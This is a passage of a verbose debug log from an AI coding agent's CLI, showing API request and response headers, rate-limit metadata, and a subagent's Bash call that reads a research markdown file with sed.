\"POST\",\n[2026-09-29T07:45:01.784Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:01.787Z] [STDOUT]   options: {\n[2026-09-29T07:45:01.791Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:01.794Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:01.796Z] [STDOUT]     body: {\n[2026-09-29T07:45:01.798Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:01.801Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:01.805Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:01.808Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:01.810Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:01.812Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:01.816Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:01.819Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:01.834Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:01.851Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:01.870Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:01.893Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:02.411Z] [STDOUT]     },\n[2026-09-29T07:45:02.458Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:02.480Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:02.489Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:02.493Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:02.499Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:02.504Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:02.507Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:02.509Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:02.517Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:02.521Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:02.525Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:02.528Z] [STDOUT]     },\n[2026-09-29T07:45:02.536Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:02.540Z] [STDOUT]   },\n[2026-09-29T07:45:02.545Z] [STDOUT]   headers: {\n[2026-09-29T07:45:02.559Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:02.568Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:02.574Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:02.596Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:02.607Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:02.658Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:02.912Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:03.286Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:03.304Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:03.359Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:03.369Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:03.388Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1315;Bash=2349\",\n[2026-09-29T07:45:03.418Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:03.492Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:03.504Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:03.513Z] [STDOUT]     \"x-client-request-id\": \"2ca54e34-5754-4cc1-ab56-56c80e70f972\",\n[2026-09-29T07:45:03.517Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:03.523Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:03.529Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:03.536Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:03.559Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:03.578Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:03.591Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:03.600Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:03.606Z] [STDOUT]   },\n[2026-09-29T07:45:03.613Z] [STDOUT] }\n[2026-09-29T07:45:03.627Z] [STDOUT] [log_3412d4, request-id: \"req_011CfXMj16CT4W1cTcDTQTmk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 958ms\n[2026-09-29T07:45:03.635Z] [STDOUT] [log_3412d4] response start {\n[2026-09-29T07:45:03.650Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:03.663Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:03.673Z] [STDOUT]   headers: {\n[2026-09-29T07:45:03.683Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:03.689Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:03.692Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:03.698Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:03.702Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:03.707Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:03.712Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:03.720Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:03.734Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:03.747Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:03.755Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:03.774Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:03.792Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:03.808Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:03.817Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:03.838Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:03.846Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:03.873Z] [STDOUT]     \"cf-ray\": \"a4295dacff1f4d8b-FRA\",\n[2026-09-29T07:45:03.877Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:03.881Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:03.884Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:03.886Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:03.889Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:01 GMT\",\n[2026-09-29T07:45:03.894Z] [STDOUT]     \"request-id\": \"req_011CfXMj16CT4W1cTcDTQTmk\",\n[2026-09-29T07:45:03.896Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:03.901Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:03.907Z] [STDOUT]     traceresponse: \"00-a0ca417e7634e85c4185bcdcdbaee807-deac87228ec062a2-01\",\n[2026-09-29T07:45:03.913Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:03.921Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:03.925Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:03.929Z] [STDOUT]   },\n[2026-09-29T07:45:03.936Z] [STDOUT]   durationMs: 958,\n[2026-09-29T07:45:03.944Z] [STDOUT] }\n[2026-09-29T07:45:03.951Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:03.965Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:01 GMT\",\n[2026-09-29T07:45:03.971Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:03.977Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:03.983Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:03.988Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:03.994Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.004Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.025Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:04.045Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.051Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.054Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:04.062Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:04.071Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:04.076Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:04.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:04.087Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:04.092Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.094Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:04.100Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:04.108Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:04.112Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:04.117Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.126Z] [STDOUT]   \"request-id\": \"req_011CfXMj16CT4W1cTcDTQTmk\",\n[2026-09-29T07:45:04.131Z] [STDOUT]   \"traceresponse\": \"00-a0ca417e7634e85c4185bcdcdbaee807-deac87228ec062a2-01\",\n[2026-09-29T07:45:04.136Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:04.141Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:04.147Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:04.162Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:04.167Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:04.171Z] [STDOUT]   \"cf-ray\": \"a4295dacff1f4d8b-FRA\",\n[2026-09-29T07:45:04.175Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:04.182Z] [STDOUT] [log_3412d4] response parsed {\n[2026-09-29T07:45:04.191Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:04.199Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:04.206Z] [STDOUT]   body: X {\n[2026-09-29T07:45:04.210Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:04.215Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:04.218Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:04.224Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:04.228Z] [STDOUT]     },\n[2026-09-29T07:45:04.235Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:04.240Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:04.244Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:04.247Z] [STDOUT]   },\n[2026-09-29T07:45:04.249Z] [STDOUT]   durationMs: 959,\n[2026-09-29T07:45:04.257Z] [STDOUT] }\n[2026-09-29T07:45:04.271Z] [STDOUT] [log_9a53e7, request-id: \"req_011CfXMj4W5cTKZteH4RsNHw\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 885ms\n[2026-09-29T07:45:04.276Z] [STDOUT] [log_9a53e7] response start {\n[2026-09-29T07:45:04.286Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:04.296Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:04.316Z] [STDOUT]   headers: {\n[2026-09-29T07:45:04.336Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:04.370Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:04.391Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.424Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:04.437Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:04.445Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.454Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:04.464Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:04.475Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:04.572Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:04.603Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:04.608Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:04.615Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:04.623Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:04.636Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:04.662Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:04.677Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:04.686Z] [STDOUT]     \"cf-ray\": \"a4295db21dba29ad-FRA\",\n[2026-09-29T07:45:04.691Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:04.696Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.704Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.710Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:04.713Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:02 GMT\",\n[2026-09-29T07:45:04.721Z] [STDOUT]     \"request-id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:04.724Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:04.728Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.733Z] [STDOUT]     traceresponse: \"00-3d45e87d604c55192c30e2bb8c91c345-dc4e0dc34d1a8450-01\",\n[2026-09-29T07:45:04.737Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:04.741Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:04.750Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:04.767Z] [STDOUT]   },\n[2026-09-29T07:45:04.789Z] [STDOUT]   durationMs: 885,\n[2026-09-29T07:45:04.803Z] [STDOUT] }\n[2026-09-29T07:45:04.817Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:04.822Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:02 GMT\",\n[2026-09-29T07:45:04.834Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:04.849Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:04.858Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:04.872Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:04.885Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:04.903Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:04.930Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:04.939Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:04.963Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:04.984Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:05.004Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:05.018Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:05.034Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:05.038Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:05.041Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:05.044Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:05.051Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:05.056Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:05.063Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:05.066Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:05.071Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:05.080Z] [STDOUT]   \"request-id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:05.086Z] [STDOUT]   \"traceresponse\": \"00-3d45e87d604c55192c30e2bb8c91c345-dc4e0dc34d1a8450-01\",\n[2026-09-29T07:45:05.100Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:05.119Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:05.127Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:05.135Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:05.142Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:05.151Z] [STDOUT]   \"cf-ray\": \"a4295db21dba29ad-FRA\",\n[2026-09-29T07:45:05.173Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:05.180Z] [STDOUT] [log_9a53e7] response parsed {\n[2026-09-29T07:45:05.195Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:05.206Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:05.212Z] [STDOUT]   body: X {\n[2026-09-29T07:45:05.219Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:05.222Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:05.226Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:05.238Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:05.245Z] [STDOUT]     },\n[2026-09-29T07:45:05.254Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:05.258Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:05.267Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:05.278Z] [STDOUT]   },\n[2026-09-29T07:45:05.285Z] [STDOUT]   durationMs: 936,\n[2026-09-29T07:45:05.292Z] [STDOUT] }\n[2026-09-29T07:45:05.295Z] [INFO] {\n[2026-09-29T07:45:05.295Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"task_id\": \"bpv2ozv5r\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"description\": \"Read run forensics analysis\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:45:05.295Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"uuid\": \"9c09d85b-338e-4c2b-b071-984ca48c4e12\",\n[2026-09-29T07:45:05.295Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.295Z] [INFO] }\n[2026-09-29T07:45:05.302Z] [INFO] {\n[2026-09-29T07:45:05.302Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.302Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"id\": \"msg_011CfXMj5LSMD2w9vg9oA5uC\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.302Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.302Z] [INFO]       {\n[2026-09-29T07:45:05.302Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:05.302Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:05.302Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:45:05.302Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.302Z] [INFO]     },\n[2026-09-29T07:45:05.302Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.302Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.302Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.302Z] [INFO]   },\n[2026-09-29T07:45:05.302Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"uuid\": \"b62ed1e2-be91-4460-91f3-630e4ffb6e6d\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:03.788Z\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"request_id\": \"req_011CfXMj4W5cTKZteH4RsNHw\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:05.302Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:05.302Z] [INFO] }\n[2026-09-29T07:45:05.309Z] [INFO] {\n[2026-09-29T07:45:05.309Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.309Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"id\": \"msg_011CfXMj5LSMD2w9vg9oA5uC\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.309Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.309Z] [INFO]       {\n[2026-09-29T07:45:05.309Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"id\": \"toolu_01DXvjL1beywyhMBvb8bEokq\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:05.309Z] [INFO]         \"input\": {\n[2026-09-29T07:45:05.309Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '20,400p' 2026-09-10-gigacode-environment-facts.md\",\n[2026-09-29T07:45:05.309Z] [INFO]           \"description\": \"Read GigaCode environment facts\"\n[2026-09-29T07:45:05.309Z] [INFO]         },\n[2026-09-29T07:45:05.309Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:05.309Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:05.309Z] [INFO]         }\n[2026-09-29T07:45:05.309Z] [INFO]       }\n[2026-09-29T07:45:05.309Z] [INFO]     ],\n[2026-09-29T07:45:05.309Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:05.309Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_creation_input_tokens\": 11376,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_read_input_tokens\": 18433,\n[2026-09-29T07:45:05.309Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:05.309Z] [INFO]         \"ephemeral_5m_input_tokens\": 11376,\n[2026-09-29T07:45:05.309Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:05.309Z] [INFO]       },\n[2026-09-29T07:45:05.309Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:05.309Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:05.309Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.309Z] [INFO]     },\n[2026-09-29T07:45:05.309Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.309Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.309Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.309Z] [INFO]   },\n[2026-09-29T07:45:05.309Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"session_id\": 